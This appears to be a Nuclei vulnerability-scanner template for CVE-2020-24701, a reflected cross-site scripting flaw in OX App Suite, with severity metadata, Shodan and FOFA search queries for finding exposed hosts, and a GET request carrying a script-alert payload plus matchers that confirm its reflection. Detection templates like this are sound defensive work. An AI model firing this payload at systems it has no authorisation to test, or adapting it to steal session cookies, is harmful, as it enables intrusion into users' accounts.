id: CVE-2020-24701

info:
  name: OX Appsuite - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
  impact: |
    Attackers can inject malicious JavaScript through the PATH_INFO parameter, potentially stealing session cookies or performing unauthorized actions on behalf of users.
  remediation: |
    Upgrade to OX App Suite version 7.10.5 or later.
  reference:
    - https://packetstormsecurity.com/files/163527/OX-App-Suite-OX-Guard-OX-Documents-SSRF-Cross-Site-Scripting.html
    - https://seclists.org/fulldisclosure/2021/Jul/33
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24701
    - https://www.open-xchange.com
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24701
    cwe-id: CWE-79
    epss-score: 0.06788
    epss-percentile: 0.93324
    cpe: cpe:2.3:a:open-xchange:open-xchange_appsuite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: open-xchange
    product: open-xchange_appsuite
    shodan-query:
      - html:"Appsuite"
      - http.html:"appsuite"
    fofa-query: body="appsuite"
  tags: cve,cve2020,packetstorm,seclists,appsuite,xss,open-xchange,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Request with action all'
          - '<script>alert(document.domain);</script>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402202991b1bb55c337e134efe860591b2690d461fcb1448083b95dc3d0bfe5feb8de0220172614f4a5da271e8e65e20335c22f511afc32a363271684c03d58450affa096:922c64590222798bb761d5b6d8e72950